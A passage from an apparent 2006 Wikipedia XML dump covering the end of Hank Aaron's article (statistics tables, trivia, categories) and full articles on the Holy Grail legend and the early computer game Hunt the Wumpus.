|- 
||'''OBA'''||3&lt;sup&gt;RD&lt;/sup&gt;||.410
|- 
||'''OPS'''||1&lt;sup&gt;ST&lt;/sup&gt;||1.079
|- 
||'''RUNS CREATED'''||2&lt;sup&gt;ND&lt;/sup&gt;||135
|- 
||'''RCAA'''||2&lt;sup&gt;ND&lt;/sup&gt;||73
|- 
||'''RCAP'''||3&lt;sup&gt;RD&lt;/sup&gt;||60
|- 
||'''OWP'''||2&lt;sup&gt;ND&lt;/sup&gt;||.804
|- 
||'''RUNS CREATED/GAME'''||1&lt;sup&gt;ST&lt;/sup&gt;||10.47
|- 
||'''TOTAL BASES'''||2&lt;sup&gt;ND&lt;/sup&gt;||331
|- 
||'''EXTRA BASE HITS'''||2&lt;sup&gt;ND&lt;/sup&gt;||72
|- 
||'''ISOLATED POWER'''||1&lt;sup&gt;ST&lt;/sup&gt;||.341
|- 
||'''SECONDARY AVERAGE'''||3&lt;sup&gt;RD&lt;/sup&gt;||.485
|- 
||'''TOTAL AVERAGE'''||1&lt;sup&gt;ST&lt;/sup&gt;||1.178
|- 
||'''BPA'''||1&lt;sup&gt;ST&lt;/sup&gt;||.689
|- 
||'''INTENTIONAL WALKS'''||1&lt;sup&gt;ST&lt;/sup&gt;||21 
|-
|}
| valign=&quot;top&quot; |
{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;border: 1px solid black&quot;
|-
|colspan=&quot;3&quot; align=&quot;center&quot; style=&quot;border-bottom: 2px solid black&quot;|'''1972 NL'''
|-
||'''HOME RUNS'''||4&lt;sup&gt;TH&lt;/sup&gt;||34
|- 
||'''HR/100 OUTS'''||1&lt;sup&gt;ST&lt;/sup&gt;||9.74
|- 
||'''HR/100 PA'''||1&lt;sup&gt;ST&lt;/sup&gt;||6.25
|- 
||'''HR/100 AB'''||1&lt;sup&gt;ST&lt;/sup&gt;||7.57
|- 
||'''WALKS'''||4&lt;sup&gt;TH&lt;/sup&gt;||92
|- 
||'''SLG'''||5&lt;sup&gt;TH&lt;/sup&gt;||.514
|- 
||'''OBA'''||4&lt;sup&gt;TH&lt;/sup&gt;||.390
|- 
||'''OPS'''||5&lt;sup&gt;TH&lt;/sup&gt;||.904
|- 
||'''OWP'''||8&lt;sup&gt;TH&lt;/sup&gt;||.675
|- 
||'''RUNS CREATED/GAME'''||5&lt;sup&gt;TH&lt;/sup&gt;||6.96
|- 
||'''ISOLATED POWER'''||5&lt;sup&gt;TH&lt;/sup&gt;||.249
|- 
||'''SECONDARY AVERAGE'''||1&lt;sup&gt;ST&lt;/sup&gt;||.463
|- 
||'''TOTAL AVERAGE'''||5&lt;sup&gt;TH&lt;/sup&gt;||.945
|- 
||'''BPA'''||6&lt;sup&gt;TH&lt;/sup&gt;||.572
|- 
||'''INTENTIONAL WALKS'''||3&lt;sup&gt;RD&lt;/sup&gt;||15
|- 
||'''GIDP'''||7&lt;sup&gt;TH&lt;/sup&gt;||17
|-
|}
&lt;br&gt;
{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;border: 1px solid black&quot;
|-
|colspan=&quot;3&quot; align=&quot;center&quot; style=&quot;border-bottom: 2px solid black&quot;|'''1973 NL'''
|-
||'''HOME RUNS'''||4&lt;sup&gt;TH&lt;/sup&gt;||40
|- 
||'''RUNS CREATED'''||9&lt;sup&gt;TH&lt;/sup&gt;||103
|- 
||'''RCAA'''||5&lt;sup&gt;TH&lt;/sup&gt;||47
|- 
||'''RCAP'''||9&lt;sup&gt;TH&lt;/sup&gt;||36
|-
|}
|-
|}

== Trivia ==
Hank Aaron is may be an [[Eagle Scout rank (Boy Scouts of America)|Eagle Scout]] (this is unconfirmed). He is a recipient of the [[Silver Buffalo Award]], the highest adult award given by the [[Boy Scouts of America]].

Despite hitting more career home runs than any other player, Hank Aaron's single-season high was 47.  This figure puts him in a tie for the 64th-best season mark by a hitter.  His second-best total, 45, is only tied for 100th-best.  However, the compensating fact is his career was remarkably stable with no major absences or interruptions such as medical leaves.  This enabled him to make his records with a steady accumulation of points that more flamboyant players were unable to match.

Although Hank Aaron is still the all time home run hitter in [[Major League Baseball]], he is second under former [[Japanese person|Japanese]] baseball player [[Sadaharu Oh]] (868) as the all time home run hitter in recorded baseball history ([[Negro League]] player [[Josh Gibson]] was said to have also hit well over 800 home runs, but recordkeeping in the Negro Leagues was fragmentary).

For 50 years, from [[1954]] to [[2004]], Henry Aaron was baseball's premiere player.... from an alphabetical standpoint.  (In an uncategorizable oddity, [[Kareem Abdul-Jabbar]] still holds the same position in the [[National Basketball Association|NBA]].  The odds are lengthy that baseball's all-time HR and RBI leader would also happen to be its all-time #1 alphabetical player; that the NBA's points leader held the same distinction is astronomically unlikely.)  

Incidentally, Aaron's brother Tommie was #2 in this esoteric category.  Both Aarons were bumped down one notch in baseball's player register in April [[2004]], when [[San Francisco Giants]] relief pitcher [[David Aardsma]] made his debut.

It is jokingly said that Hank Aaron has an [[Erdős number]] of 1 because he and [[Paul Erdős]] both autographed the same baseball when [[Emory University]] awarded them honorary degrees on the same day.

In [[2002]], Aaron played himself in an episode of ''[[Futurama]]'' called, [[Futurama (TV series - season 4)#A Leela of Her Own|A Leela of Her Own]].

== See also ==
* [[List of lifetime home run leaders through history]]
* [[List of major league players with 2,000 hits]]
* Hank Aaron has been featured in several video games, including [[Baseball Stars]]

== External links ==
* [http://www.baseballhalloffame.org/hofers_and_honorees/hofer_bios/aaron_hank.htm Baseball Hall of Fame]
* {{baseball-reference|id=a/aaronha01}}
* [http://www.thebaseballpage.com/past/pp/aaronhenry/default.htm Baseball Page]
* [http://www.baseballlibrary.com/baseballlibrary/ballplayers/A/Aaron_Hank.stm Baseball Library]
* [http://www.hickoksports.com/biograph/aaronhen.shtml Hickok Sports]
* [http://www.georgiaencyclopedia.org/nge/Article.jsp?id=h-739 New Georgia Encyclopedia]
* [http://www.hank-aaron.info/ Hank Aaron stats, biography and information.]

{{start box}}
{{succession box | before = [[Don Newcombe]] | title = [[MLB Most Valuable Player Award|National League Most Valuable Player]]| years = [[1957]] | after = [[Ernie Banks]]}}
{{Incumbent succession box | before = [[Babe Ruth]] | title = [[List of lifetime home run leaders through history|Career home run record holders]]| start = [[1974]]| after = }}
{{end box}}

[[Category:1934 births|Aaron, Hank]]
[[Category:1955 National League All-Stars|Aaron, Hank]]
[[Category:1956 National League All-Stars|Aaron, Hank]]
[[Category:1957 National League All-Stars|Aaron, Hank]]
[[Category:1958 National League All-Stars|Aaron, Hank]]
[[Category:1959 National League All-Stars|Aaron, Hank]]
[[Category:1960 National League All-Stars|Aaron, Hank]]
[[Category:1961 National League All-Stars|Aaron, Hank]]
[[Category:1962 National League All-Stars|Aaron, Hank]]
[[Category:1963 National League All-Stars|Aaron, Hank]]
[[Category:1964 National League All-Stars|Aaron, Hank]]
[[Category:1965 National League All-Stars|Aaron, Hank]]
[[Category:1966 National League All-Stars|Aaron, Hank]]
[[Category:1967 National League All-Stars|Aaron, Hank]]
[[Category:1968 National League All-Stars|Aaron, Hank]]
[[Category:1969 National League All-Stars|Aaron, Hank]]
[[Category:1970 National League All-Stars|Aaron, Hank]]
[[Category:1971 National League All-Stars|Aaron, Hank]]
[[Category:1972 National League All-Stars|Aaron, Hank]]
[[Category:1973 National League All-Stars|Aaron, Hank]]
[[Category:1974 National League All-Stars|Aaron, Hank]]
[[Category:1975 American League All-Stars|Aaron, Hank]]
[[Category:30-30 club|Aaron, Hank]]
[[Category:3000 hit club|Aaron, Hank]]
[[Category:500 home run club|Aaron, Hank]]
[[Category:African American baseball players|Aaron, Hank]]
[[Category:Atlanta Braves players|Aaron, Hank]]
[[Category:Atlantans|Aaron, Hank]]
[[Category:Baseball Hall of Fame|Aaron, Hank]]
[[Category:Silver Buffalo awardees|Aaron, Hank]]
[[Category:Futurama actors|Aaron, Hank]]
[[Category:Living people|Aaron, Hank]]
[[Category:MacGyver actors|Aaron, Hank]]
[[Category:Major league right fielders|Aaron, Hank]]
[[Category:Milwaukee Braves players|Aaron, Hank]]
[[Category:Milwaukee Brewers players|Aaron, Hank]]
[[Category:Negro League baseball players|Aaron, Hank]]

[[Category:Presidential Medal of Freedom recipients|Aaron, Hank]]
[[Category:Spingarn Medal winners|Aaron, Hank]]

[[de:Hank Aaron]]
[[es:Hank Aaron]]
[[fr:Hank Aaron]]
[[gl:Hank Aaron]]
[[nl:Hank Aaron]]
[[ja:&amp;#12495;&amp;#12531;&amp;#12463;&amp;#12539;&amp;#12450;&amp;#12540;&amp;#12525;&amp;#12531;]]
[[simple:Hank Aaron]]
[[sv:Hank Aaron]]
[[zh:漢克·阿倫]]</text>
    </revision>
  </page>
  <page>
    <title>Holy Grail</title>
    <id>14322</id>
    <revision>
      <id>42070455</id>
      <timestamp>2006-03-03T16:46:38Z</timestamp>
      <contributor>
        <username>The Wookieepedian</username>
        <id>425277</id>
      </contributor>
      <comment>/* External links */  +cat</comment>
      <text xml:space="preserve">{{Otheruses4|the Christian artifact|other uses|Grail (disambiguation)}}
    
In [[Christian mythology]], the '''Holy Grail''' was the [[dishware|dish]], [[plate (dishware)|plate]], [[drinkware|cup]] or vessel used by [[Jesus]] at the [[Last Supper]], said to possess miraculous powers. According to many versions of the story, [[Joseph of Arimathea]] used the Grail to catch [[Christ]]'s blood while interring him and then took the object to [[Britain]], where he founded a line of guardians to keep it safe. The quest for the Holy Grail makes up an important segment of the [[King Arthur|Arthurian]] cycle, appearing first in works by [[Chrétien de Troyes]] (Loomis 1991). The legend may combine [[Christian lore]] with a [[Celtic mythology|Celtic myth]] of a [[cauldron]] endowed with special powers.

The development of the Grail legend has been traced in detail by cultural historians: It is a [[Gothic literature|gothic]] legend, which first came together in the form of written romances, deriving perhaps from some pre-Christian folklore hints, in the later [[12th century|12th]] and early [[13th century|13th]] centuries. The early Grail romances centered on [[Percival]] and were woven into the more general Arthurian fabric. The Grail romances started in [[France]] and were translated into other European vernaculars; only a handful of non-French romances added any essential new elements. 

Some of the Grail legend is interwoven with legends of the [[Holy Chalice]].
[[Image:Sangreal.jpg|thumb|200px|''How at the Castle of Corbin a Maiden Bare in the Sangreal and Foretold the Achievements of Galahad'': illustration by [[Arthur Rackham]], 1917]]
==Origins of the Grail==

===The Grail===
The Grail plays a different role everywhere it appears, but in most versions of the legend the hero must prove himself worthy to be in its presence. In the early tales, [[Percival]]'s immaturity prevents him from fulfilling his destiny when he first encounters the Grail, and he must grow spiritually and mentally before he can locate it again. In later tellings the Grail is a symbol of God's grace, available to all but only fully realized by those who prepare themselves spiritually, like the saintly [[Galahad]].

===Early forms of the Grail===
There are two schools of thought concerning the Grail's origin. The first, championed by [[Roger Sherman Loomis]], [[Alfred Nutt]], and [[Jessie Weston]], holds that it derived from early [[Celtic mythology|Celtic myth]] and folklore. Loomis traced a number of parallels between [[Medieval Welsh literature]] and [[Irish literature|Irish]] material and the Grail romances, including similarities between the ''[[Mabinogion]]'''s [[Bran the Blessed]] and the Arthurian [[Fisher King]], and between Bran's life-restoring cauldron and the Grail.  Other legends featured magical platters or dishes that symbolize otherworldly power or test the hero's worth. Sometimes the items generate a never-ending supply of food, sometimes they can raise the dead. Sometimes they decide who the next king should be, as only the true sovereign could hold them.

On the other hand, some scholars believe the Grail began as a purely Christian symbol. For example, Joseph Goering of the [[University of Toronto]] (Goering 2005) has identified sources for Grail imagery in 12th-century wall paintings from churches in the [[Catalonia|Catalan]] [[Pyrenees]] (now mostly removed to the Museu Nacional d'Art de Catalunya, [[Barcelona]]), which present unique iconic images of the [[Mary, the mother of Jesus|Virgin Mary]] holding a bowl that radiates tongues of fire, images that predate the first literary account by [[Chrétien de Troyes]]. Goering argues that they were the original inspiration for the Grail legend.[http://www.news.utoronto.ca/bin6/051020-1720.asp]

Another recent theory holds that the earliest stories that cast the Grail in a Christian light were meant to promote the [[Roman Catholic]] [[sacrament]] of the [[Holy Communion]]. Although the practice of Holy Communion was first alluded to in the Christian [[Bible]] and defined by [[theologians]] in the first centuries A.D., around the time of the appearance of the first Christianized Grail literature, the Roman church was beginning to add more ceremony and [[mysticism]] around this particular sacrament. Thus, the first Grail stories may have been celebrations of a renewal in this traditional sacrament (Barber, 2004).[http://www.holygrail.ws] This theory has some backing by the fact that Grail legends are almost entirely a phenomenon of the Western church (see below).

Most scholars today accept that both Christian and Celtic traditions contributed to the legend's development, though many of the early Celtic-based arguments are largely discredited (Loomis himself came to reject much of Weston and Nutt's work). The general view is that the central theme of the Grail is Christian, even when not explicitly religious, but that much of the setting and imagery of the early romances is drawn from Celtic material.

===Etymology of ''graal''===
The word ''graal'', as it is earliest spelled, appears to be an [[Old French]] adaptation of the [[Latin]] ''gradalis'', meaning a dish brought to the table in different stages of a meal. According to the ''[[Catholic Encyclopedia]]'', after the cycle of Grail [[Romance (genre)|romances]] was well established, late [[medieval]] writers came up with a [[false etymology]] for ''sangreal'' an alternate name for &quot;Holy Grail&quot;. In [[Old French]], ''san grial'' means &quot;Holy Grail&quot; and ''sang rial'' means &quot;royal blood&quot;; later writers played on this pun. Since then, '''Sangreal''' is sometimes employed to lend a medievalizing air in referring to the Holy Grail. This connection with royal blood bore fruit in a modern best-seller linking many historical conspiracies ([[#Modern retellings|see below]]).

==The beginnings of the Grail in literature==
===Chrétien de Troyes===
The Grail is first featured in ''[[Perceval, le Conte du Graal]]'' (The Story of the Grail) by [[Chrétien de Troyes]], who claims he was working from a source book given to him by his patron, Count [[Philip of Flanders]]. In this incomplete poem, dated sometime between [[1180]] and [[1191]], the object has not yet acquired the implications of holiness it would have in later works. While dining in the magical abode of the Fisher King, [[Perceval]] witnesses a wondrous procession in which youths carry magnificent objects from one chamber to another, passing before him at each course of the meal. First comes a young man carrying a bleeding lance, then two boys carrying candelabras. Finally, a beautiful young girl emerges bearing an elaborately decorated ''graal'', or &quot;grail&quot;.

Chrétien refers to his object not as &quot;The Grail&quot; but as ''un graal'', showing the word was used, in its earliest literary context, as a common noun. For Chrétien the grail was a wide, somewhat deep dish or bowl, interesting because it contained not a pike, salmon or lamprey, as the audience may have expected for such a container, but a single Mass wafer which provided sustenance for the Fisher King’s crippled father.

Perceval, who had been warned against talking too much, remains silent through all of this, and wakes up the next morning alone. He later learns that if he had asked the appropriate questions about what he saw, he would have healed his maimed host, much to his honor.

===Robert de Boron===
Though Chrétien’s account is the earliest and most influential of all Grail texts, it was in the work of [[Robert de Boron]] that the Grail truly became the “Holy Grail” and assumed the form most familiar to modern readers. In his verse romance ''Joseph d’Arimathie'', composed between [[1191]] and [[1202]], Robert tells the story of [[Joseph of Arimathea]] acquiring the chalice of the Last Supper to collect Christ’s blood upon His removal from the cross. Joseph is thrown in prison where Christ visits him and explains the mysteries of the blessed cup. Upon his release Joseph gathers his in-laws and other followers and travels to the west, and founds a dynasty of Grail keepers that eventually includes Perceval.

===The Grail in other early literature===
After this point, Grail literature divides into two classes. The first concerns King Arthur’s knights visiting the Grail castle or questing after the object; the second concerns the Grail’s history in the time of Joseph of Arimathea.

The nine most important works from the first group are:
* The ''Perceval'' of Chrétien de Troyes.
* Four continuations of Chrétien’s poem, by authors of differing vision and talent, designed to bring the story to a close.
* The German ''[[Parzival]]'' by [[Wolfram von Eschenbach]], which adapted at least the holiness of Robert’s Grail into the framework of Chrétien’s story.
* The Didot ''Perceval'', named after the manuscript’s former owner, and purportedly a prosification of Robert de Boron’s sequel to ''Joseph d’Arimathie''.
* The [[Welsh romance]] ''[[Peredur]]'' (generally included in the ''[[Mabinogion]]''), based on Chrétien’s poem but including very striking differences from it.
* ''[[Perlesvaus]]'', called the &quot;least canonical&quot; Grail romance because of its very different character.
* The German ''[[Diu Crône]]'' (''The Crown''), in which Gawain, rather than Perceval, achieves the Grail.
* The ''[[Lancelot]]'' section of the vast [[Vulgate Cycle]], which introduces the new Grail hero, [[Galahad]].
* The ''[[Queste del Saint Graal]]'', another part of the Vulgate Cycle, concerning the adventures of Galahad and his achievement of the Grail.

Of the second class there are:
* Robert de Boron’s ''Joseph d’Arimathie'',
* The ''Estoire del Saint Graal'', the first part of the Vulgate Cycle (but written after ''Lancelot'' and the ''Queste''), based on Robert’s tale but expanding it greatly with many new details.

Though all these works have their roots in Chrétien, several contain pieces of tradition not found in Chrétien which are possibly derived from earlier sources.

==Ideas of the Grail==
[[Image:Galahad_grail.jpg|thumb|400px|[[Galahad]], [[Bors]], and [[Percival]] achieve the Grail]]
As stated above, the Grail was considered a bowl or dish when first described by Chrétien de Troyes. Other authors had their own ideas; Robert de Boron portrayed it as the vessel of the Last Supper, and ''Peredur'' had no Grail per se, presenting the hero instead with a platter containing his kinsman's bloody, severed head. In ''Parzival'', Wolfram von Eschenbach, citing the authority of a certain (probably fictional) [[Kyot the Provençal]], claimed the Grail was a stone that fell from Heaven, and had been the sanctuary of the Neutral Angels who took neither side during [[Lucifer]]'s rebellion. The authors of the Vulgate Cycle used the Grail as a symbol of [[divine grace]]. Galahad, bastard son of the world's greatest knight, [[Lancelot]], and the Grail Bearer [[Elaine (legend)|Elaine]], is destined to achieve the Grail, his spiritual purity making him a better warrior than even his illustrious father. Galahad and the interpretation of the Grail involving him were picked up in the [[15th century]] by Sir [[Thomas Malory]] (''[[Le Morte d'Arthur]]''), and remain popular today.

Various notions of the Holy Grail are currently very widespread in Western society (especially British, French and American), popularized through numerous medieval and modern works (see below) and linked with the predominantly Anglo-French (but also with some German influence) cycle of stories about King Arthur and his knights. Because of this wide distribution, Americans and West Europeans sometimes assume that the Grail idea is universally well known. 

The stories of the Grail, however, are totally absent from the folklore of those countries that were and are Eastern Orthodox (whether Arabs, Slavs, Romanians, or Greeks). This is true of all Arthurian myths, which were not well known east of Germany until the present-day Hollywood retellings. Nor has the Grail been as popular a subject in some predominantly Catholic areas, such as [[Spain]] and [[Latin America]], as it has been elsewhere. The notions of the Grail, its importance, and prominence, are a set of ideas that are essentially local and particular, being linked with Catholic or formerly Catholic locales, Celtic mythology and Anglo-French medieval storytelling. The contemporary wide distribution of these ideas is due to the huge influence of the pop culture of countries where the Grail Myth was prominent in the Middle Ages. 

Some insist the Holy Grail, even if historical, should be considered separate from the [[Holy Chalice]] used by Jesus at the [[Last Supper]]. However, confusion between the two has been the historical practice.

==The later legend==
Belief in the Grail, and interest in its potential whereabouts, has never ceased. Ownership has been attributed to various groups (including the [[Knights Templar]], probably because they were at the peak of their influence around the time that Grail stories started circulating in the 12th and 13th centuries). There are cups claimed to be the Grail in several churches such as the [[Valencia]] cathedral. The emerald chalice at [[Genoa]], which was obtained during the [[crusades]] at [[Aleppo]] at great cost, has been less championed as the Holy Grail since an accident on the road while it was being returned from Paris after the fall of Napoleon revealed that the emerald was green glass. 

In Wolfram von Eschenbach's telling, the Grail was kept safe at the castle of [[Munsalvaesche]] (''mons salvationis''), entrusted to Titurel, the first Grail King. Some, not least the monks of Montserrat, have identified the castle with the real sanctuary of [[Montserrat (mountain)|Montserrat]] in [[Catalonia]], [[Spain]]. Other stories claim that the Grail is buried beneath [[Rosslyn Chapel]] or is to be found deep in the spring at [[Glastonbury Tor]]. Still other stories claim that a secret line of hereditary protectors keep the Grail, or that it was hidden by the Templars in [[Oak Island]], [[Nova Scotia]]'s famous &quot;[[Oak_Island#The_Money_Pit|Money Pit]]&quot;, while local folklore in [[Accokeek, Maryland]] says that it was brought to the town by a closeted priest aboard Captain [[John Smith of Jamestown|John Smith]]'s ship.

==Modern interpretations==
===Casual metaphor===
The legend of the Holy Grail is the basis of the use of the term ''holy grail'' in modern-day culture.  This or that &quot;holy grail&quot; is seen as the distant, all-but-unobtainable ultimate goal for a person, organization, or field to achieve. For instance, [[cold fusion]] or [[anti-gravity]] devices are sometimes characterized as the &quot;holy grail&quot; of applied physics. ''(See: [[list of holy grails]])''

===Modern retellings===
{{spoiler}}
[[Image:holygrail.jpg|frame|right|''The Holy Grail'', by [[Dante Gabriel Rossetti]]]]
The story of the Grail and of the quest to find it became increasingly popular in the nineteenth century, referred to in literature such as [[Alfred Tennyson]]'s Arthurian cycle the ''[[Idylls of the King]]''. The combination of hushed reverence, chromatic harmonies and sexualised imagery in [[Richard Wagner]]'s late opera ''[[Parsifal]]'' gave new significance to the grail theme, for the first time associating the &amp;ndash; now periodically blood-producing &amp;ndash; grail directly with female sexual fertility. The high seriousness of the subject was also epitomized in [[Dante Gabriel Rossetti]]'s painting (''illustrated''), in which a woman modelled by [[Jane Morris]] holds the Grail with one hand, while adopting a [http://www.ou.edu/class/ahi4263/byzhtml/p02-09.html gesture of blessing] with the other. Other artists, including [[George Frederic Watts]] and [[William Dyce]] also portrayed grail subjects.  

The Grail later turned up in movies; it debuted in a silent ''Parsifal''. In ''The Light of Faith'' ([[1922]]), [[Lon Chaney]] attempted to steal it, for the finest of reasons. ''[[The Silver Chalice]]'', a [[novel]] about the Grail by [[Thomas B. Costain]] was made into a [[1954]] movie (in which [[Paul Newman]] débuted), that is considered notably bad by several critics, including Newman himself. ''[[Lancelot du Lac (film)|Lancelot du Lac]]'' ([[1974]]) is [[Robert Bresson]]'s gritty retelling. In vivid contrast, ''[[Monty Python and the Holy Grail]]'' ([[1975]]) deflated it and all pseudo-Arthurian posturings.  
''[[Excalibur (movie)|Excalibur]]'' attempted to restore a more traditional heroic representation of an Arthurian tale, in which the Grail is revealed as a mystical means to revitalise Arthur himself, and of the barren land to which his depressive sickness is connected. ''[[Indiana Jones and the Last Crusade]]'' and ''[[The Fisher King (movie)|The Fisher King]]'' place the quest in modern settings, one as a modern-day treasure hunt/quest, the other robustly self-parodying. Science fiction has taken the Quest into interstellar space, figuratively in [[Samuel R. Delany]]'s 1968 novel ''[[Nova_(novel)|Nova]]'', and literally in the [[1994]] episode &quot;[[Grail (Babylon 5)|Grail]]&quot; of the television series ''[[Babylon 5]]''.

Understandably the Grail has figured into much modern Arthurian literature, such as the works of poet [[Charles Williams]] (''[[Taliessin]] Through Logres'' and ''Region of the Summer Stars'') and [[feminist]] author [[Rosalind Miles]] (''[[Child of the Holy Grail]]''), but it has also been treated in works of [[non-fiction]], generally of dubious scholarship, which tend to separate it from the Arthurian mythos. In ''[[The Sign and the Seal]]'', [[Graham Hancock]] asserts that the Grail story is a coded description of the stone tablets stored in the [[Ark of the Covenant]]. For the authors of ''[[Holy Blood, Holy Grail]]'', who assert that their research ultimately reveals that Jesus may not have died on the cross, but lived to marry [[Mary Magdalene]] and father children whose [[Merovingian]] bloodline continues today, the Grail is a mere sideshow.

[[Dan Brown]]'s bestselling novel  ''[[The Da Vinci Code]]'' is likewise based on the idea that the real Grail is not a cup but the earthly remains of [[Mary Magdalene]] (again cast as Jesus' wife), plus a set of ancient documents telling the &quot;true&quot; story of Jesus, his teachings and descendants. In Dan Brown's novel, it is hinted that the Grail was long buried beneath [[Rosslyn Chapel]] just like one tradition claims, but in recent decades its guardians had it relocated to a secret chamber embedded in the floor beneath the Inverted Pyramid near the [[Louvre Museum]]. Of course, the latter location has never been mentioned in real Grail lore. Yet such was the public interest in even a fictionalized Grail that the museum soon had to rope off the exact location mentioned by Brown, lest visitors inflict any damage in a more or less serious attempt to access the supposed hidden chamber. (See: [[La Pyramide Inversée]].)

==See also==
*[[List of ancient mysteries]]
*[[Cornucopia]] and [[sampo]] are other mythical vessels with [[magic (paranormal)|magical]] powers.
*[[Relics attributed to Jesus]]
*''[[Monty Python and the Holy Grail]]'' for &quot;something completely different&quot;

==Further reading==
*[[Roger Sherman Loomis]], ''[http://print.google.com/print?id=DGQcsXGYII4C The Grail: From Celtic Myth to Christian Symbol]'', 1991. ISBN 0691020752
*Joseph Goering, ''The Virgin and the Grail : Origins of a Legend'', Yale University Press, 2005, ISBN 0300106610 [http://yalepress.yale.edu/yupbooks/book.asp?isbn=0300106610]
* Richard Barber, ''The Holy Grail: Imagination and Belief'', Harvard University Press, 2004. ISBN 0674013905[http://www.holygrail.ws]

==External links==
{{commonscat|Holy Grail}}
* [http://historymedren.about.com/cs/holygrail/ About: Medieval History Net: The Holy Grail] A list of links to 6 important sites of reference on the Holy Grail

[[Category:Arthurian legend]]
[[Category:Christian legend and folklore]]
[[Category:Christian mythology]]
[[Category:Indiana Jones artifacts]]
[[Category:Medieval legends]]
[[Category:Metaphors]]
[[Category:Mythical objects]]
[[Category:Relics attributed to Jesus]]

[[af:Heilige Graal]]
[[bg:Свещен Граал]]
[[da:Den hellige gral]]
[[de:Heiliger Gral]]
[[el:Άγιο Δισκοπότηρο]]
[[es:Grial]]
[[fi:Graalin malja]]
[[fr:Graal]]
[[gl:Grial]]
[[he:הגביע הקדוש]]
[[it:Graal]]
[[ja:聖杯]]
[[nl:Heilige Graal]]
[[pl:Legenda o świętym Graalu]]
[[pt:Santo Graal]]
[[ro:Graal]]
[[ru:Святой Грааль]]
[[sk:Svätý grál]]
[[sv:Graal]]
[[zh:圣杯]]</text>
    </revision>
  </page>
  <page>
    <title>Hunt the Wumpus</title>
    <id>14323</id>
    <revision>
      <id>41428253</id>
      <timestamp>2006-02-27T06:28:55Z</timestamp>
      <contributor>
        <username>Tawker</username>
        <id>212671</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/207.81.123.98|207.81.123.98]] ([[User talk:207.81.123.98|Talk]]) to last version by Seancdaug</comment>
      <text xml:space="preserve">'''''Hunt the Wumpus''''' was an important early [[computer game]]. It was based on a simple hide-and-seek format, featuring a mysterious monster (the Wumpus) that lurked deep inside a network of rooms. Using a [[command line]] text interface, the player would enter commands to move through the rooms, or shoot arrows along crooked paths through several adjoining rooms. There were twenty rooms, each connecting to three others, arranged like the vertices of a [[dodecahedron]] (or the faces of an [[icosahedron]]). Hazards included bottomless pits, super bats (which would drop the player in a random location) and the Wumpus itself. When the player had deduced from hints which chamber the Wumpus was in without entering it, he would fire an arrow into the Wumpus' chamber to slay it. However, firing the arrow into the wrong chamber would startle the Wumpus, which might then devour the player. 

Originally written by [[Gregory Yob]] in [[BASIC programming language | BASIC]] while attending the [[University of Massachusetts Dartmouth]], and noticed on mainframes at least by 1972, ''Hunt the Wumpus'' was first published in the &quot;[[Peoples Computer Company]]&quot;{{fn|1}} journal in 1973, again in 1975 in &quot;[[Creative Computing]]&quot;, and finally in 1979 in the book ''MORE BASIC Computer Games''. Building on several grid-based games of the &quot;[[Battleship (game)|Battleship]]&quot; variety, Yob injected adversarial humor into the computer's hints, prefiguring the &quot;voice&quot; of the [[Infocom]] narrator. [http://jerz.setonhill.edu/if/canon/Hunt_the_Wumpus.htm 1] Later versions of the game offered more hazards and other cave layouts.  An implementation of Hunt the Wumpus was typically included with [[MBASIC]], Microsoft's BASIC interpreter for CP/M and one of the company's first products.

== Other versions ==
A simple version of the game has also become a classic way of illustrating the concept of [[Knowledge Based Agents]], a kind of computer program in the field of [[Artificial Intelligence]], where the program would take the role of the player, and usually play very well.

An early [[home computer]] version of ''Hunt the Wumpus'' with color graphics and randomized cave layouts appeared on the [[TI-99/4A]] in [[1981]].

Versions of ''Hunt the Wumpus'' are currently available all over the [[Internet]], for almost all operating systems and machines, including [[Linux]], the [[iPod]] [[Palm Pilot]] [[personal digital assistant|handheld]] computers, and [[mobile phone]]s. The first [[IRC bot]], named &quot;GM&quot; (for &quot;[[game master]]&quot;) was a multiplayer ''Hunt the Wumpus'' game, in which firing an arrow into a room with other players caused another player to be killed: &quot;[[Metasyntactic variable|Foo]] is hit in the back with an arrow!&quot; Unfortunately, the &quot;Wumpus-o-Matic&quot; player never made it off the drawing board. See also [[Rog-O-Matic]].

Wumpus have made an appearance in the [[collectible card game]] [[Magic: The Gathering]], specifically in the 1999 Mercadian Masques expansion. They appear mainly in the art for green cards in the set, though two are playable creatures: the appropriately named Hunted Wumpus, and also Thrashing Wumpus. Wumpus are also featured in the [[Roguelike | ''Rogue-''like]] game [[Nethack]] as a ceiling-clinging monster, and as the elusive Mountain Wumpus in the classic [[M.U.L.E.]], being a nod from one very old game to another.

A version of Hunt the Wumpus appeared in [[Google Talk]] August 2005, as a bot found by a clue in an [[easter egg (virtual)|easter egg]]. However, during the day of [[24 August]] it was online sporadically. The game has been offline since then, because the Wumpus bot currently needs to keep all players on its roster, which is limited in size.

[[Andrew Plotkin]] used ''Hunt the Wumpus'' as the inspiration for his award-winning 1999 [[interactive fiction]] game ''[[Hunter, in Darkness]]''.

In 2005 Microsoft challenged high school students across the world to recreate Hunt The Wumpus in .NET.  The winners were from Mr. Joe Croney’s class in the US Virgin Islands.  The group included Anton Doos, Zach Hunter, Peter Roussev, Justin Aronstein, and Yannick Polius.

== GM ==
The first [[IRC bot]], GM, played a game of Hunt the Wumpus with users who communicated with it over IRC.  GM was written by [[Greg Lindahl]].

== Notes ==
{{fnb|1}} ''Peoples Computer Company'', founded in October 1971, was a small non-profit group of independent educators who met in a small storefront on Menalto Rd. in [[Menlo Park, California]] during the [[1970s]].  The first issue of their journal, ''Peoples Computer Company'', was published in October 1972.

== References ==
* Ahl, David H. (Ed.) (1979), ''MORE BASIC Computer Games''.  New York: Workman Publishing.  ISBN 0894801376 

==External links==
* Gregory Yob's 1975 [http://www.atariarchives.org/bcc1/showpage.php?page=247 description] in ''Creative Computing''.
* http://wurb.com/if/game/442 &amp;ndash; resource where it is possible to download or play the game online
* [http://www.atariarchives.org/morebasicgames/showpage.php?page=178 Scans of description and BASIC source code for Hunt the Wumpus]
* [http://www.atariarchives.org/morebasicgames/showpage.php?page=181 Scans of description and BASIC source code for Hunt the Wumpus 2]
* [http://www.mobygames.com/game/ti-994a/hunt-the-wumpus MobyGames' entry for the TI-99/4A version of Hunt the Wumpus]
* [http://www.wurb.com/if/game/483 wurb.com entry for ''Hunter, In Darkness'']
* [http://javaunlimited.net/games/view.php?id=49 A tiny implementation for the Java 4K 2005 Programming Contest]
